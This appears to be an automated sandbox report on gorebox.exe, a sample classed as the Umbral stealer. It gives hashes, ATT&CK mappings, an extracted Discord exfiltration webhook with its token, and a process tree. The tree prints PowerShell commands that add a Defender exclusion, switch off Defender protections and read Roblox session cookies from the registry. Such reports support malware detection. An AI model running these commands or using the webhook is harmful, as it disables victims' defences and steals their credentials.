umbral | 1dc70027f52c53ee62f42585d875c8ee665c62c1a3688090c4031bd443549dc3

Resubmissions

01-12-2024 09:08

241201-k34dyayqat 10

01-12-2024 08:43

241201-kmxapaypcz 10

Analysis

max time kernel
94s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
01-12-2024 09:08

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General

Target

gorebox.exe
Size

433KB
MD5

cc25bf7377c0ac9204180e9f7291456a
SHA1

2564bdbe4d34317222e0f6d8319868f2d9310c1c
SHA256

1dc70027f52c53ee62f42585d875c8ee665c62c1a3688090c4031bd443549dc3
SHA512

a785074fc29f63b785aad523c8889c2c3f20f52599e6b5715f12c3aaf873fcbeb53f68b5d32a29494d90999fc9f3b3dc6e7c728f0440434aa827c7171df78195
SSDEEP

6144:YahOrp0yN90QEoh+Kg4+CAQepPq06NaqQxFAyPjbBW8mpqf+JvQxPRt:Yi7y90C+T4+CAnpPqoqQx59W89+J8b

Score

10^/10

umbral execution persistence spyware stealer

Malware Config

Extracted

Family

umbral

https://discord.com/api/webhooks/1312553527435984916/bA-hbry9izKY0icMXgK9Nr6rEcNwmzCA1_QKEDcV4uegdqzcVCTUfnkyX2nsI1C3Coao

Signatures

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral1/files/0x000a000000023bab-8.dat	family_umbral
behavioral1/memory/2916-10-0x0000019F9B5C0000-0x0000019F9B60A000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1676	powershell.exe
1140	powershell.exe
1812	powershell.exe
4556	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	goreboxr.exe

Executes dropped EXE 2 IoCs

pid	Process
452	GoreBox.exe
2916	goreboxr.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	gorebox.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
21	discord.com
22	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
8	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4376	wmic.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
2916	goreboxr.exe
4556	powershell.exe
4556	powershell.exe
1676	powershell.exe
1676	powershell.exe
1140	powershell.exe
1140	powershell.exe
388	powershell.exe
388	powershell.exe
1812	powershell.exe
1812	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2916	goreboxr.exe
Token: SeIncreaseQuotaPrivilege	1392	wmic.exe
Token: SeSecurityPrivilege	1392	wmic.exe
Token: SeTakeOwnershipPrivilege	1392	wmic.exe
Token: SeLoadDriverPrivilege	1392	wmic.exe
Token: SeSystemProfilePrivilege	1392	wmic.exe
Token: SeSystemtimePrivilege	1392	wmic.exe
Token: SeProfSingleProcessPrivilege	1392	wmic.exe
Token: SeIncBasePriorityPrivilege	1392	wmic.exe
Token: SeCreatePagefilePrivilege	1392	wmic.exe
Token: SeBackupPrivilege	1392	wmic.exe
Token: SeRestorePrivilege	1392	wmic.exe
Token: SeShutdownPrivilege	1392	wmic.exe
Token: SeDebugPrivilege	1392	wmic.exe
Token: SeSystemEnvironmentPrivilege	1392	wmic.exe
Token: SeRemoteShutdownPrivilege	1392	wmic.exe
Token: SeUndockPrivilege	1392	wmic.exe
Token: SeManageVolumePrivilege	1392	wmic.exe
Token: 33	1392	wmic.exe
Token: 34	1392	wmic.exe
Token: 35	1392	wmic.exe
Token: 36	1392	wmic.exe
Token: SeIncreaseQuotaPrivilege	1392	wmic.exe
Token: SeSecurityPrivilege	1392	wmic.exe
Token: SeTakeOwnershipPrivilege	1392	wmic.exe
Token: SeLoadDriverPrivilege	1392	wmic.exe
Token: SeSystemProfilePrivilege	1392	wmic.exe
Token: SeSystemtimePrivilege	1392	wmic.exe
Token: SeProfSingleProcessPrivilege	1392	wmic.exe
Token: SeIncBasePriorityPrivilege	1392	wmic.exe
Token: SeCreatePagefilePrivilege	1392	wmic.exe
Token: SeBackupPrivilege	1392	wmic.exe
Token: SeRestorePrivilege	1392	wmic.exe
Token: SeShutdownPrivilege	1392	wmic.exe
Token: SeDebugPrivilege	1392	wmic.exe
Token: SeSystemEnvironmentPrivilege	1392	wmic.exe
Token: SeRemoteShutdownPrivilege	1392	wmic.exe
Token: SeUndockPrivilege	1392	wmic.exe
Token: SeManageVolumePrivilege	1392	wmic.exe
Token: 33	1392	wmic.exe
Token: 34	1392	wmic.exe
Token: 35	1392	wmic.exe
Token: 36	1392	wmic.exe
Token: SeDebugPrivilege	4556	powershell.exe
Token: SeDebugPrivilege	1676	powershell.exe
Token: SeDebugPrivilege	1140	powershell.exe
Token: SeDebugPrivilege	388	powershell.exe
Token: SeIncreaseQuotaPrivilege	4052	wmic.exe
Token: SeSecurityPrivilege	4052	wmic.exe
Token: SeTakeOwnershipPrivilege	4052	wmic.exe
Token: SeLoadDriverPrivilege	4052	wmic.exe
Token: SeSystemProfilePrivilege	4052	wmic.exe
Token: SeSystemtimePrivilege	4052	wmic.exe
Token: SeProfSingleProcessPrivilege	4052	wmic.exe
Token: SeIncBasePriorityPrivilege	4052	wmic.exe
Token: SeCreatePagefilePrivilege	4052	wmic.exe
Token: SeBackupPrivilege	4052	wmic.exe
Token: SeRestorePrivilege	4052	wmic.exe
Token: SeShutdownPrivilege	4052	wmic.exe
Token: SeDebugPrivilege	4052	wmic.exe
Token: SeSystemEnvironmentPrivilege	4052	wmic.exe
Token: SeRemoteShutdownPrivilege	4052	wmic.exe
Token: SeUndockPrivilege	4052	wmic.exe
Token: SeManageVolumePrivilege	4052	wmic.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 4728 wrote to memory of 452	4728	gorebox.exe	83
PID 4728 wrote to memory of 452	4728	gorebox.exe	83
PID 4728 wrote to memory of 2916	4728	gorebox.exe	84
PID 4728 wrote to memory of 2916	4728	gorebox.exe	84
PID 2916 wrote to memory of 1392	2916	goreboxr.exe	85
PID 2916 wrote to memory of 1392	2916	goreboxr.exe	85
PID 2916 wrote to memory of 4556	2916	goreboxr.exe	88
PID 2916 wrote to memory of 4556	2916	goreboxr.exe	88
PID 2916 wrote to memory of 1676	2916	goreboxr.exe	90
PID 2916 wrote to memory of 1676	2916	goreboxr.exe	90
PID 2916 wrote to memory of 1140	2916	goreboxr.exe	92
PID 2916 wrote to memory of 1140	2916	goreboxr.exe	92
PID 2916 wrote to memory of 388	2916	goreboxr.exe	94
PID 2916 wrote to memory of 388	2916	goreboxr.exe	94
PID 2916 wrote to memory of 4052	2916	goreboxr.exe	96
PID 2916 wrote to memory of 4052	2916	goreboxr.exe	96
PID 2916 wrote to memory of 4160	2916	goreboxr.exe	98
PID 2916 wrote to memory of 4160	2916	goreboxr.exe	98
PID 2916 wrote to memory of 2944	2916	goreboxr.exe	101
PID 2916 wrote to memory of 2944	2916	goreboxr.exe	101
PID 2916 wrote to memory of 1812	2916	goreboxr.exe	103
PID 2916 wrote to memory of 1812	2916	goreboxr.exe	103
PID 2916 wrote to memory of 4376	2916	goreboxr.exe	105
PID 2916 wrote to memory of 4376	2916	goreboxr.exe	105

C:\Users\Admin\AppData\Local\Temp\gorebox.exe
"C:\Users\Admin\AppData\Local\Temp\gorebox.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4728
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\GoreBox.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\GoreBox.exe
  2⤵
  - Executes dropped EXE
  PID:452
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\goreboxr.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\goreboxr.exe
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2916
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1392
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\goreboxr.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4556
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1676
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1140
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:388
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4052
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    PID:4160
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:2944
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1812
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:4376

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d42b6da621e8df5674e26b799c8e2aa

SHA1
ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

SHA256
5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

SHA512
53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
066d329202e7fd6217b79ea0aecfbadd

SHA1
8bf2e16cebbf430b661eb8c9faeece452a9a87b6

SHA256
57be549dd4b18b8a544bb069439743850b7710f0f38bc68f4af01faff1d3c383

SHA512
1c883b36a156b65533f86e4ce28efd3b2c5879922c7daf11172fa437b5506edb881b483a3ff4534b7cb13a7c8ffbe7b2c82c3db1773cdef5b3d07b3f598e94bc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
08e2b6dc039d66a6bfa02fbaa9b86e1f

SHA1
1a45a88b900fc97183e50e3dd95deb5c086e2ca7

SHA256
13f0b2febb094f7d558d4325d06807162326f65290c90fa52fa1d3e4e4b35b14

SHA512
2e818787d6067890ec8586f9e4c2d459632e09c167749ff1b58fcaa273850b0ca61f0a468eda65a71358daa36a69ec7961b07cffe6ebcd7b8f79b2b796402891

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\GoreBox.exe

Filesize
651KB

MD5
5b23e32cdf5236587cf71ce4b5f001a6

SHA1
f9ab18bb610b5e999320e422f4fffd05ed08209a

SHA256
11cfef86247a1725b6ac0ad49bb40217d6758c2fae04041f7aa1b73c68795d72

SHA512
82859dc2637ec91af549cb402afafc1a2f09c73b7046eecaf81b366abd7b003f74f12b50b198ed79e49beb56f1117e2b9164d05bd9a650858db80075d39fee42

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\goreboxr.exe

Filesize
275KB

MD5
97a8417cd8fa79bce383a00a55568274

SHA1
a2b3789316bf0cce8826f7377a6ccfea8b4aa08d

SHA256
7c3217c00a01cbb6cfd0243869490f4d7c48cc41626a472d88b406f196978810

SHA512
417741e48d0cc5c5913fcce861662c927bf43d4d568144ab719bd19eca9f8ced0fdffd77fcd7c899ff3474f570274c1faab85b47a1d269230b18c5f7ad7a81a4

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_a0g2kkpv.ntb.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2916-10-0x0000019F9B5C0000-0x0000019F9B60A000-memory.dmp

Filesize
296KB

Download
memory/2916-38-0x0000019FB5D50000-0x0000019FB5DC6000-memory.dmp

Filesize
472KB

Download
memory/2916-39-0x0000019FB5CD0000-0x0000019FB5D20000-memory.dmp

Filesize
320KB

Download
memory/2916-40-0x0000019FB5DF0000-0x0000019FB5E0E000-memory.dmp

Filesize
120KB

Download
memory/2916-9-0x00007FF897553000-0x00007FF897555000-memory.dmp

Filesize
8KB

Download
memory/2916-77-0x0000019F9D4D0000-0x0000019F9D4DA000-memory.dmp

Filesize
40KB

Download
memory/2916-78-0x0000019FB5DD0000-0x0000019FB5DE2000-memory.dmp

Filesize
72KB

Download
memory/2916-11-0x00007FF897550000-0x00007FF898011000-memory.dmp

Filesize
10.8MB

Download
memory/2916-98-0x00007FF897550000-0x00007FF898011000-memory.dmp

Filesize
10.8MB

Download
memory/4556-12-0x00000191B9B70000-0x00000191B9B92000-memory.dmp

Filesize
136KB

Download